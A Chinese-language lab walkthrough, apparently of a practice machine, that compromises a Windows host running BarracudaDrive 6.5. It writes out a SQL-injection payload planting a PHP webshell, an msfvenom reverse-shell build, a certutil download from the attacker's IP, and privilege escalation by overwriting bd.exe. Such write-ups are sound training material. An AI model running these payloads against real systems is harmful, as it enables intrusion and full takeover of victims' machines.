首先先來看看這臺機器開了什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type recon;
在port 45332上面我們發現了一個PHP info的網頁 這個網頁可以幫助我們知道網站的根目錄在哪裡
http://192.168.104.127:45332/phpinfo.php
http://192.168.104.127:8000/
接著 Port 8000上面有一個服務叫做 BarracudaDrive 版本是 6.5
然後 Port 33033上面有員工的名字跟信箱 http://192.168.104.127:33033/
右上角可以 login
但這個 login 是一個非常 tricky 的地方
回應訊息必須要靠手動一個個由網頁輸入才能得到
如果是利用字典擋爆破 你就會得不到那串綠色的訊息 然後無法得知現在的狀態
手動輸入結果
利用字典檔爆破的結果
基於我不是一個通靈的高手,所以只能求助官方解 QQ
這邊要使用的是 Jerren 的 username jerren.devops 與他座右銘 paranoid 去設定新的密碼
在利用新的密碼登入後,最底下有一個測試連結到 request profile SLUG
原本以為這個 URL 是要給我們一個 NTLM
結果竟然是要考 SQL injection
還記得之前的 PHPinfo嗎? 上面有網站根目錄的位置
寫一個 webshell 進去
' UNION SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- //
http://192.168.104.127:45332/cmd.php?cmd=whoami
順利拿到 Webshell 後 我們需要一個可以連回 kali的 reverse shell
所以用 msfvenom 產生後、上傳、執行~
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.198 LPORT=5040 -f exe -o rShell.exe
certutil -urlcache -f http://192.168.45.198:135/rShell.exe rShell.exe
http://192.168.104.127:45332/cmd.php?cmd=rShell.exe
Yes! 順利拿到 reverse shell 還有 flag
在更早之前的版本搜索中 有在exploit DB 上面看到一個 exploit code BarracudaDrive 6.5 https://www.exploit-db.com/exploits/48789
我們先用這個來試看看
我們先來檢查我們對 bd 還有 bd.exe的權限
比較不一樣的是 我這邊沒辦法順利 compile a C code
所以再研究 exploit code 的流程以後 決定利用剛剛的 reverse shell 重新覆蓋 bd.exe
關機後,順利拿到 reverse shell 與 root 的權限
shutdown /r